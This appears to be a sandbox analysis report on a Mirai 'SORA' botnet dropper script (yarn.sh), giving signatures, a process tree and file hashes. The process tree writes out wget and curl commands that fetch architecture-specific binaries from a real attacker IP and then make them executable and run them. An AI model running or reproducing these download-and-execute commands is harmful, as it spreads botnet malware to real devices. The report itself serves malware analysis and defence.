Analysis

  • max time kernel
    21s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/12/2025, 17:27

General

  • Target
    yarn.sh
  • Size 2KB
  • Sample251202-v1jxmaxper
  • SHA256 6174f7d79e48448d38278254374a2d30a7c2880f7d055b8a8484c2fe00cb277d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • SORA

Extracted

Family
  • mirai

Botnet
  • SORA

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/yarn.sh
    /tmp/yarn.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1503
    • /usr/bin/wget
      wget http://158.94.210.88/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:1504
    • /usr/bin/curl
      curl -O http://158.94.210.88/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:1508
    • /bin/cat
      cat sora.x86
      2⤵
        PID:1509
      • /bin/chmod
        chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.x86 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
        2⤵
        • File and Directory Permissions Modification
        PID:1510
      • /tmp/robben
        ./robben Payload
        2⤵
          PID:1511
        • /usr/bin/wget
          wget http://158.94.210.88/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1513
        • /usr/bin/curl
          curl -O http://158.94.210.88/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1514
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:1515
        • /bin/chmod
          chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.mips sora.x86 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
          2⤵
          • File and Directory Permissions Modification
          PID:1516
        • /tmp/robben
          ./robben Payload
          2⤵
            PID:1517
          • /usr/bin/wget
            wget http://158.94.210.88/bins/sora.x86_64
            2⤵
            • Writes file to tmp directory
            PID:1519
          • /usr/bin/curl
            curl -O http://158.94.210.88/bins/sora.x86_64
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:1521
            • /bin/chmod
              chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.mips sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
              2⤵
              • File and Directory Permissions Modification
              PID:1522
            • /tmp/robben
              ./robben Payload
              2⤵
                PID:1523
              • /usr/bin/wget
                wget http://158.94.210.88/bins/sora.i468
                2⤵
                  PID:1525
                • /usr/bin/curl
                  curl -O http://158.94.210.88/bins/sora.i468
                  2⤵
                  • Writes file to tmp directory
                  PID:1526
                • /bin/cat
                  cat sora.i468
                  2⤵
                    PID:1527
                  • /bin/chmod
                    chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.i468 sora.mips sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1528
                  • /tmp/robben
                    ./robben Payload
                    2⤵
                      PID:1529
                    • /usr/bin/wget
                      wget http://158.94.210.88/bins/sora.i686
                      2⤵
                      • Writes file to tmp directory
                      PID:1530
                    • /usr/bin/curl
                      curl -O http://158.94.210.88/bins/sora.i686
                      2⤵
                      • Writes file to tmp directory
                      PID:1531
                    • /bin/cat
                      cat sora.i686
                      2⤵
                        PID:1532
                      • /bin/chmod
                        chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1533
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Changes its process name
                        PID:1534
                      • /usr/bin/wget
                        wget http://158.94.210.88/bins/sora.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:1536
                      • /usr/bin/curl
                        curl -O http://158.94.210.88/bins/sora.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:1537
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:1538
                        • /bin/chmod
                          chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1539
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                            PID:1540
                          • /usr/bin/wget
                            wget http://158.94.210.88/bins/sora.arm4
                            2⤵
                              PID:1542
                            • /usr/bin/curl
                              curl -O http://158.94.210.88/bins/sora.arm4
                              2⤵
                              • Writes file to tmp directory
                              PID:1543
                            • /bin/cat
                              cat sora.arm4
                              2⤵
                                PID:1544
                              • /bin/chmod
                                chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1545
                              • /tmp/robben
                                ./robben Payload
                                2⤵
                                  PID:1546
                                • /usr/bin/wget
                                  wget http://158.94.210.88/bins/sora.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1547
                                • /usr/bin/curl
                                  curl -O http://158.94.210.88/bins/sora.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1548
                                • /bin/cat
                                  cat sora.arm5
                                  2⤵
                                    PID:1549
                                  • /bin/chmod
                                    chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1550
                                  • /tmp/robben
                                    ./robben Payload
                                    2⤵
                                      PID:1551
                                    • /usr/bin/wget
                                      wget http://158.94.210.88/bins/sora.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1553
                                    • /usr/bin/curl
                                      curl -O http://158.94.210.88/bins/sora.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1554
                                    • /bin/cat
                                      cat sora.arm6
                                      2⤵
                                        PID:1555
                                      • /bin/chmod
                                        chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1556
                                      • /tmp/robben
                                        ./robben Payload
                                        2⤵
                                          PID:1557
                                        • /usr/bin/wget
                                          wget http://158.94.210.88/bins/sora.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1559
                                        • /usr/bin/curl
                                          curl -O http://158.94.210.88/bins/sora.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1560
                                        • /bin/cat
                                          cat sora.arm7
                                          2⤵
                                            PID:1561
                                          • /bin/chmod
                                            chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1562
                                          • /tmp/robben
                                            ./robben Payload
                                            2⤵
                                              PID:1563
                                            • /usr/bin/wget
                                              wget http://158.94.210.88/bins/sora.ppc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1565
                                            • /usr/bin/curl
                                              curl -O http://158.94.210.88/bins/sora.ppc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1566
                                            • /bin/cat
                                              cat sora.ppc
                                              2⤵
                                                PID:1567
                                              • /bin/chmod
                                                chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1568
                                              • /tmp/robben
                                                ./robben Payload
                                                2⤵
                                                  PID:1569
                                                • /usr/bin/wget
                                                  wget http://158.94.210.88/bins/sora.ppc440fp
                                                  2⤵
                                                    PID:1571
                                                  • /usr/bin/curl
                                                    curl -O http://158.94.210.88/bins/sora.ppc440fp
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1572
                                                  • /bin/cat
                                                    cat sora.ppc440fp
                                                    2⤵
                                                      PID:1573
                                                    • /bin/chmod
                                                      chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1574
                                                    • /tmp/robben
                                                      ./robben Payload
                                                      2⤵
                                                        PID:1575
                                                      • /usr/bin/wget
                                                        wget http://158.94.210.88/bins/sora.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1576
                                                      • /usr/bin/curl
                                                        curl -O http://158.94.210.88/bins/sora.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1577
                                                      • /bin/cat
                                                        cat sora.m68k
                                                        2⤵
                                                          PID:1578
                                                        • /bin/chmod
                                                          chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:1579
                                                        • /tmp/robben
                                                          ./robben Payload
                                                          2⤵
                                                            PID:1580
                                                          • /usr/bin/wget
                                                            wget http://158.94.210.88/bins/sora.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1582
                                                          • /usr/bin/curl
                                                            curl -O http://158.94.210.88/bins/sora.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1583
                                                          • /bin/cat
                                                            cat sora.sh4
                                                            2⤵
                                                              PID:1584
                                                            • /bin/chmod
                                                              chmod +x config-err-ib6dtc netplan_w9y02x_c robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 ssh-wVhq6Qic6V8J systemd-private-22fbb1594a7a49f1b272bd23456f97ec-bolt.service-hB6vZq systemd-private-22fbb1594a7a49f1b272bd23456f97ec-colord.service-xok9Et systemd-private-22fbb1594a7a49f1b272bd23456f97ec-ModemManager.service-dmOEET systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-resolved.service-vGnm27 systemd-private-22fbb1594a7a49f1b272bd23456f97ec-systemd-timedated.service-rpOMXK yarn.sh
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:1585
                                                            • /tmp/robben
                                                              ./robben Payload
                                                              2⤵
                                                                PID:1586

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 28KB
                                                                  • SHA256 60e61a7aa29aced28868a536711d6aac1676b44ce2cdc85ef08291bc3c4a7eeb
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 28KB
                                                                  • SHA256 7f321b8ad2f6f21ec7054d2a6474344b612aac1e879d71712387258ccfa88068
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 212B
                                                                  • SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
                                                                  • MD5 SHA1 SHA512

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 28KB
                                                                  • SHA256 fa4c89942c65db8296433d9f918b76c9dc113b413780120f98f2a0d14b997ded
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 64KB
                                                                  • SHA256 2bb1713a794d171f228ae7fa885065cdc9129b04b2547556991609c7536c144f
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  sora.x86

                                                                  • Path /tmp/sora.x86
                                                                  • Size 27KB
                                                                  • SHA256 9ca144724088f9193fb72603552f9a54f402932a93216a7a0e1c316800f3bea0
                                                                  • MD5 SHA1 SHA512 SSDEEP